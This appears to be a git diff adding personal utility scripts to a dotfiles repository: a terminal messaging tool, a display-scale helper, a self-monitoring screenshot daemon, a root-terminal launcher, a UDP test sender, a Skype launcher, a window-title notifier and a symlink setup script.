$ok = 1;
|
||||||
|
}
|
||||||
|
unless ($ok) {
|
||||||
|
$tty_exclude{$tty} = 1 unless $all;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get all the target user's terminals.
|
||||||
|
my $who = `who`;
|
||||||
|
my $terms = 0;
|
||||||
|
my $skip = 0;
|
||||||
|
my @wrote = ();
|
||||||
|
foreach my $ln (split(/\n/,$who)) {
|
||||||
|
my ($user,$tty) = split(/\s+/, $ln);
|
||||||
|
if (exists $tty_exclude{$tty} && not $all) {
|
||||||
|
$skip++;
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (length $to > 8 && length $user == 8) {
|
||||||
|
next unless $to =~ /^$user/;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
next unless $user eq $to;
|
||||||
|
}
|
||||||
|
|
||||||
|
open (WRITE, "| write $to $tty");
|
||||||
|
print WRITE $msg . "\n";
|
||||||
|
close (WRITE);
|
||||||
|
$terms++;
|
||||||
|
push (@wrote,$tty);
|
||||||
|
}
|
||||||
|
|
||||||
|
#unlink ("/tmp/sayto.$$");
|
||||||
|
|
||||||
|
print "\nBroadcasted message to $to on $terms terminal" . ($terms == 1 ? '' : 's')
|
||||||
|
. " (skipping $skip non-shell TTY" . ($skip == 1 ? '' : 's') . ")\n"
|
||||||
|
. "TTYs Written: " . join(", ",sort @wrote) . "\n"
|
||||||
|
. "TTYs Skipped: " . join(", ",sort keys %tty_exclude) . "\n";
|
||||||
|
|
||||||
|
sub usage {
|
||||||
|
return <<EOF;
|
||||||
|
NAME
|
||||||
|
|
||||||
|
sayto - Broadcast a message to a single user.
|
||||||
|
|
||||||
|
USAGE
|
||||||
|
|
||||||
|
sayto [-a] <username> <message>
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
|
||||||
|
Broadcast a single message to a single user on every terminal
|
||||||
|
that the user is logged in on. It takes care not to broadcast
|
||||||
|
to a TTY that is running anything besides bash, so the broadcasted
|
||||||
|
message won't interfere with vim and other programs.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
|
||||||
|
--all
|
||||||
|
-a
|
||||||
|
--force
|
||||||
|
-f
|
||||||
|
|
||||||
|
Forces the broadcast to be sent to all TTYs that the user has
|
||||||
|
open, regardless of what processes are running (so, it will
|
||||||
|
invade on vim sessions as well). This behavior would be exactly
|
||||||
|
like `wall` except for a specific target only.
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
|
||||||
|
Noah Petherbridge
|
||||||
|
<npetherbridge\@fonality.com>
|
||||||
|
EOF
|
||||||
|
}
|
56
home/bin/scale
Executable file
56
home/bin/scale
Executable file
|
@ -0,0 +1,56 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# scale: Front-end to changing the AppleDisplayScaleFactor, for Hackintosh
|
||||||
|
# on netbooks where the screen resolution isn't tall enough for some windows.
|
||||||
|
#
|
||||||
|
# Set the scale factor for the session:
|
||||||
|
# scale 0.8
|
||||||
|
# !!! Remember to set it back to 1.0 when you're done !!!
|
||||||
|
#
|
||||||
|
# Set the scale just to launch a specific app, then set it back:
|
||||||
|
# scale 0.8 "Photo Booth"
|
||||||
|
# scale 0.8 /Applications/Photo\ Booth.app
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
unless (@ARGV) {
|
||||||
|
print "usage: scale <aspect-ratio> [app]\n"
|
||||||
|
. "ex: scale 0.8\n"
|
||||||
|
. " scale 0.8 /Applications/Photo\\ Booth.app\n"
|
||||||
|
. " scale 0.8 'Photo Booth'\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
my $scale = shift(@ARGV);
|
||||||
|
if ($scale =~ /[^0-9\.]/) {
|
||||||
|
die "Scale factor must be a number!";
|
||||||
|
}
|
||||||
|
my $app = undef;
|
||||||
|
if (scalar(@ARGV)) {
|
||||||
|
$app = shift(@ARGV);
|
||||||
|
if (!-e $app) {
|
||||||
|
# Try a full path (e.g. Photo Booth -> /Applications/Photo Booth.app)
|
||||||
|
$app = "/Applications/$app.app";
|
||||||
|
if (!-e $app) {
|
||||||
|
die "Can't find $app: no such file.";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# set the scale
|
||||||
|
system("defaults write -g AppleDisplayScaleFactor $scale");
|
||||||
|
|
||||||
|
# launching an app too?
|
||||||
|
if (defined $app) {
|
||||||
|
system("open \"$app\"");
|
||||||
|
system("defaults write -g AppleDisplayScaleFactor 1.0");
|
||||||
|
print "$app launched with scale ratio of $scale\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (int($scale) != 1) {
|
||||||
|
print "Scale set to $scale for the session. Be sure to "
|
||||||
|
. "reset it to 1.0 when you're done!\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
167
home/bin/screenspy
Executable file
167
home/bin/screenspy
Executable file
|
@ -0,0 +1,167 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# screenspy - Linux desktop monitoring daemon. Must be run as root.
|
||||||
|
|
||||||
|
# This script monitors one or more hardware devices (usually under /dev) for
|
||||||
|
# Linux systems running an X window manager.
|
||||||
|
#
|
||||||
|
# This script must be run as root because usually only root can read from
|
||||||
|
# hardware devices directly. You can set up a panel launcher to run this
|
||||||
|
# script with `sudo` if you previously set up the sudoers file to let your
|
||||||
|
# user run this script with no password.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use threads;
|
||||||
|
use threads::shared;
|
||||||
|
|
||||||
|
#################
|
||||||
|
# Configuration #
|
||||||
|
#################
|
||||||
|
|
||||||
|
# X display to grab screenshots from.
|
||||||
|
$ENV{DISPLAY} ||= ":0.0";
|
||||||
|
|
||||||
|
# Devices to monitor.
|
||||||
|
our @devices = (
|
||||||
|
"/dev/console", # keyboard input
|
||||||
|
"/dev/input/mice", # mouse input
|
||||||
|
);
|
||||||
|
|
||||||
|
# Screenshot command.
|
||||||
|
our $screenshot = 'scrot -q 85 "%s"';
|
||||||
|
|
||||||
|
# Output directory for screenshots.
|
||||||
|
our $outdir = '/home/kirsle/Pictures/screenspy';
|
||||||
|
|
||||||
|
# Calibration: number of seconds (after no activity) for it to take a screenshot.
|
||||||
|
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.
|
||||||
|
|
||||||
|
# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
|
||||||
|
our $prolonged = 5;
|
||||||
|
|
||||||
|
# If you want some indication that the app is running, put the command to run in here.
|
||||||
|
# This command will be repeatedly run. Recommended is to use zenity and put an icon in
|
||||||
|
# your system tray. Leave blank for no command.
|
||||||
|
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";
|
||||||
|
|
||||||
|
#####################
|
||||||
|
# End Configuration #
|
||||||
|
#####################
|
||||||
|
|
||||||
|
# Only let this script run once.
|
||||||
|
&checkdupes();
|
||||||
|
|
||||||
|
# Each thread will report the time when the last event happened.
|
||||||
|
my %lastEvent : shared;
|
||||||
|
my %changed : shared;
|
||||||
|
|
||||||
|
# Spawn a thread for each device.
|
||||||
|
my @threads = ();
|
||||||
|
foreach my $dev (@devices) {
|
||||||
|
# Make sure we can read the device.
|
||||||
|
if (!-r $dev) {
|
||||||
|
system("zenity --error --text \"Don't have permission to read from device $dev\"");
|
||||||
|
}
|
||||||
|
push (@threads, threads->create (\&monitor, $dev));
|
||||||
|
}
|
||||||
|
|
||||||
|
# If they want a command run, spawn a thread for it too.
|
||||||
|
if (length $notify) {
|
||||||
|
push (@threads, threads->create (\¬ify));
|
||||||
|
}
|
||||||
|
|
||||||
|
# Loop forever and let the threads do their thing.
|
||||||
|
while (1) {
|
||||||
|
# See if any events have stopped for longer than the threshold.
|
||||||
|
foreach my $dev (keys %lastEvent) {
|
||||||
|
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
|
||||||
|
# take screenshot
|
||||||
|
print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
|
||||||
|
&screenshot();
|
||||||
|
$lastEvent{$dev} = 0;
|
||||||
|
$changed{$dev} = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
select(undef,undef,undef,0.01);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub monitor {
|
||||||
|
my $device = shift;
|
||||||
|
print "Monitoring device: $device\n";
|
||||||
|
|
||||||
|
# Store the time when the last event was seen.
|
||||||
|
$lastEvent{$device} = 0;
|
||||||
|
|
||||||
|
# When the lastEvent is first set (away from 0), record the time it was changed.
|
||||||
|
# This way for prolonged activity we can still take screenshots.
|
||||||
|
$changed{$device} = 0;
|
||||||
|
|
||||||
|
open (READ, $device);
|
||||||
|
my $buffer;
|
||||||
|
while (read(READ, $buffer, 1)) {
|
||||||
|
# Store the last event time
|
||||||
|
if ($lastEvent{$device} == 0) {
|
||||||
|
$changed{$device} = time();
|
||||||
|
}
|
||||||
|
$lastEvent{$device} = time();
|
||||||
|
|
||||||
|
# Too much activity?
|
||||||
|
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
|
||||||
|
# Take screenshot.
|
||||||
|
print "$device: prolonged activity (> $prolonged seconds)\n";
|
||||||
|
&screenshot();
|
||||||
|
$changed{$device} = time();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close (READ);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub notify {
|
||||||
|
while (1) {
|
||||||
|
system($notify);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub screenshot {
|
||||||
|
print "Taking screenshot!\n";
|
||||||
|
|
||||||
|
my @time = localtime(time());
|
||||||
|
my $date = join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%04d", $time[5] + 1900),
|
||||||
|
sprintf("%02d", $time[4] + 1),
|
||||||
|
sprintf("%02d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%02d", $time[2]),
|
||||||
|
sprintf("%02d", $time[1]),
|
||||||
|
sprintf("%02d", $time[0]),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
my $fname = $date;
|
||||||
|
my $i = 1;
|
||||||
|
while (-f "$outdir/$fname.png") {
|
||||||
|
$fname = $date . " [$i]";
|
||||||
|
$i++;
|
||||||
|
}
|
||||||
|
my $cmd = $screenshot;
|
||||||
|
$cmd =~ s/%s/$outdir\/$fname\.png/ig;
|
||||||
|
system($cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub checkdupes {
|
||||||
|
my $ps = `ps aux | grep screenspy`;
|
||||||
|
foreach my $line (split(/\n/,$ps)) {
|
||||||
|
chomp $line;
|
||||||
|
next if $line =~ /grep/i;
|
||||||
|
next if $line =~ /$$/i;
|
||||||
|
if ($line) {
|
||||||
|
die "Script is already running!\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
17
home/bin/suterm
Executable file
17
home/bin/suterm
Executable file
|
@ -0,0 +1,17 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# suterm - A stupid simple way to get a root shell in GNOME. It requires you to
|
||||||
|
# have /etc/sudoers set up for your username with the NOPASSWD option.
|
||||||
|
#
|
||||||
|
# Create a launcher that runs this script and check "Open in Terminal". Then
|
||||||
|
# the launcher will open a root gnome-terminal, provided `sudo -i` normally
|
||||||
|
# doesn't require you to enter a password.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
system ("sudo -i");
|
||||||
|
exit(0);
|
43
home/bin/udptoss
Executable file
43
home/bin/udptoss
Executable file
|
@ -0,0 +1,43 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# udptoss - Throw UDP packets at a host.
|
||||||
|
# Usage: udptoss <target host> <port number> [message]
|
||||||
|
#
|
||||||
|
# Sends "Hello world! Can you hear me?" to the target host:port once per second
|
||||||
|
# over UDP. Use Wireshark on the target to verify it sees the UDP packets.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use IO::Socket;
|
||||||
|
|
||||||
|
if (scalar(@ARGV) < 2) {
|
||||||
|
print "Usage: udptoss <target host> <port> [message]\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
my $host = shift(@ARGV);
|
||||||
|
my $port = shift(@ARGV);
|
||||||
|
|
||||||
|
print "Preparing connection to $host port UDP $port...\n";
|
||||||
|
my $udp = IO::Socket::INET->new (
|
||||||
|
PeerAddr => $host,
|
||||||
|
PeerPort => $port,
|
||||||
|
Proto => 'udp',
|
||||||
|
Timeout => 30,
|
||||||
|
);
|
||||||
|
unless (defined $udp) {
|
||||||
|
die "Couldn't create UDP socket to $host:$port: $!";
|
||||||
|
}
|
||||||
|
|
||||||
|
my $packet = shift(@ARGV) || "Hello world! Can you hear me?";
|
||||||
|
|
||||||
|
print "Sending packets...\n";
|
||||||
|
my $i = 0;
|
||||||
|
while (++$i) {
|
||||||
|
print "[$i] $packet\n";
|
||||||
|
$udp->send("$packet\x0D\x0A");
|
||||||
|
sleep 1;
|
||||||
|
}
|
9
home/bin/v4lskype
Executable file
9
home/bin/v4lskype
Executable file
|
@ -0,0 +1,9 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# v4lskype - A simple front-end for Skype for Linux that loads the Video 4 Linux
|
||||||
|
# driver before launching Skype.
|
||||||
|
#
|
||||||
|
# If your Skype has problems with video, change the launcher to launch this
|
||||||
|
# script instead.
|
||||||
|
|
||||||
|
exec("LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so skype");
|
90
home/bin/window-notify
Executable file
90
home/bin/window-notify
Executable file
|
@ -0,0 +1,90 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
# window-notify: Watch for windows with particular titles and pop up a
|
||||||
|
# desktop notification when they appear.
|
||||||
|
#
|
||||||
|
# Useful for certain web apps that don't properly handle desktop notifications.
|
||||||
|
# You'll need to make sure you keep the app tab on a window by itself so that
|
||||||
|
# its title is always visible to the window manager.
|
||||||
|
#
|
||||||
|
# Usage: window-notify '* Title 1' '! * Title 2' 'etc.'
|
||||||
|
#
|
||||||
|
# Requires programs:
|
||||||
|
# - wmctrl
|
||||||
|
# - notify-send
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
from sys import argv, exit
|
||||||
|
import time
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
# Config
|
||||||
|
config = dict(
|
||||||
|
# Icon to use
|
||||||
|
icon = "/usr/share/icons/gnome/48x48/status/user-available.png",
|
||||||
|
|
||||||
|
# Title
|
||||||
|
title = "Window Notification:",
|
||||||
|
)
|
||||||
|
|
||||||
|
if len(argv) == 1:
|
||||||
|
print "Usage: window-notify 'Title to watch for' 'etc...'"
|
||||||
|
exit()
|
||||||
|
|
||||||
|
titles = argv[1:]
|
||||||
|
|
||||||
|
def safe_output(args):
|
||||||
|
retval = None
|
||||||
|
try:
|
||||||
|
retval = subprocess.check_output(args)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return retval
|
||||||
|
|
||||||
|
def safe_call(args):
|
||||||
|
try:
|
||||||
|
subprocess.call(args)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def notify(title):
|
||||||
|
# Notification pop-up.
|
||||||
|
safe_call(["notify-send",
|
||||||
|
"-a", __name__,
|
||||||
|
"-i", config['icon'],
|
||||||
|
config['title'],
|
||||||
|
title,
|
||||||
|
])
|
||||||
|
|
||||||
|
# Try to add the Urgent hint to the window.
|
||||||
|
safe_call(["wmctrl", "-r", title, "-b", "add,demands_attention"])
|
||||||
|
|
||||||
|
# Keep track of which titles we currently see, so we don't notify a ton
|
||||||
|
# of times for the same title.
|
||||||
|
visible = { key: False for key in titles }
|
||||||
|
|
||||||
|
# Begin watching.
|
||||||
|
while True:
|
||||||
|
time.sleep(0.2)
|
||||||
|
output = safe_output(["wmctrl", "-l"])
|
||||||
|
if not output: continue
|
||||||
|
seen_this_time = dict() # Titles we see on this loop
|
||||||
|
for line in output.split("\n"):
|
||||||
|
if len(line) == 0:
|
||||||
|
continue
|
||||||
|
parts = line.split(" ", 4)
|
||||||
|
real_title = parts[-1]
|
||||||
|
for title in titles:
|
||||||
|
if title in real_title:
|
||||||
|
seen_this_time[title] = True
|
||||||
|
# Window exists, did we already notify?
|
||||||
|
if not visible[title]:
|
||||||
|
notify(real_title)
|
||||||
|
|
||||||
|
# Flag the visibility of each title.
|
||||||
|
for title in titles:
|
||||||
|
visible[title] = title in seen_this_time
|
||||||
|
|
||||||
|
# vim:expandtab
|
95
setup
Executable file
95
setup
Executable file
|
@ -0,0 +1,95 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""Initialize your dotfiles setup.
|
||||||
|
|
||||||
|
Usage: setup [--install]
|
||||||
|
|
||||||
|
This will create symlinks in $HOME for every file listed in ./home in this
|
||||||
|
repository. It will NOT delete existing files in $HOME; use the --install
|
||||||
|
option to delete existing files."""
|
||||||
|
|
||||||
|
from __future__ import print_function
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import os.path
|
||||||
|
import shutil
|
||||||
|
import re
|
||||||
|
|
||||||
|
# Install? (deletes existing files in $HOME).
|
||||||
|
install = "--install" in sys.argv
|
||||||
|
|
||||||
|
# Get the path to the git repo.
|
||||||
|
basedir = os.path.abspath(os.path.dirname(__file__))
|
||||||
|
homedir = os.environ.get("HOME", ".")
|
||||||
|
source = os.path.join(basedir, "home")
|
||||||
|
|
||||||
|
print("Setting up .dotfiles")
|
||||||
|
print("====================")
|
||||||
|
print("")
|
||||||
|
if install:
|
||||||
|
print("* Install mode: will delete files in $HOME and set up symlinks!")
|
||||||
|
|
||||||
|
def crawl(folder):
|
||||||
|
"""Recursively crawl a folder. Directories will be created relative to
|
||||||
|
$HOME, and files in those directories will be symlinked."""
|
||||||
|
for item in sorted(os.listdir(folder)):
|
||||||
|
# Resolve the path to this file relative to $HOME and the absolute
|
||||||
|
# path to the symlink target. First get the path to the target.
|
||||||
|
target = os.path.join(folder, item)
|
||||||
|
|
||||||
|
# Remove the source dir prefix from it to get the path relative
|
||||||
|
# to the "./home" folder, then use that for $HOME.
|
||||||
|
path = re.sub(r'^{}/'.format(source), '', target)
|
||||||
|
home = os.path.join(homedir, path)
|
||||||
|
|
||||||
|
# If the target is a directory, make sure it exists relative to $HOME.
|
||||||
|
if os.path.isdir(target):
|
||||||
|
if not os.path.isdir(home):
|
||||||
|
print("Create directory:", home)
|
||||||
|
os.mkdir(home)
|
||||||
|
|
||||||
|
# Recursively crawl it.
|
||||||
|
crawl(target)
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Otherwise it's a file. In install mode, delete the existing file.
|
||||||
|
if install and (os.path.exists(home) or os.path.islink(home)):
|
||||||
|
print("Delete:", home)
|
||||||
|
os.unlink(home)
|
||||||
|
|
||||||
|
# Already linked?
|
||||||
|
if os.path.islink(home):
|
||||||
|
link = os.readlink(home)
|
||||||
|
if link == target:
|
||||||
|
print("Already linked:", home)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
print("Delete existing link:", home)
|
||||||
|
os.unlink(home)
|
||||||
|
|
||||||
|
# Link it.
|
||||||
|
print("Link: {} -> {}".format(home, target))
|
||||||
|
os.symlink(target, home)
|
||||||
|
|
||||||
|
crawl(source)
|
||||||
|
|
||||||
|
"""for item in os.listdir(source):
|
||||||
|
home = os.path.join(os.environ.get("HOME", "."), item)
|
||||||
|
target = os.path.join(source, item)
|
||||||
|
|
||||||
|
if install and (os.path.exists(home) or os.path.islink(home)):
|
||||||
|
print("Delete:", home)
|
||||||
|
if os.path.islink(home) or not os.path.isdir(home):
|
||||||
|
os.unlink(home)
|
||||||
|
else:
|
||||||
|
shutil.rmtree(home)
|
||||||
|
|
||||||
|
if os.path.islink(home):
|
||||||
|
print("Already linked:", home)
|
||||||
|
continue
|
||||||
|
|
||||||
|
print("{} -> {}".format(home, target))
|
||||||
|
os.symlink(target, home)
|
||||||
|
"""
|
||||||
|
|
||||||
|
# vim:expandtab
|
Loading…
Reference in New Issue
Block a user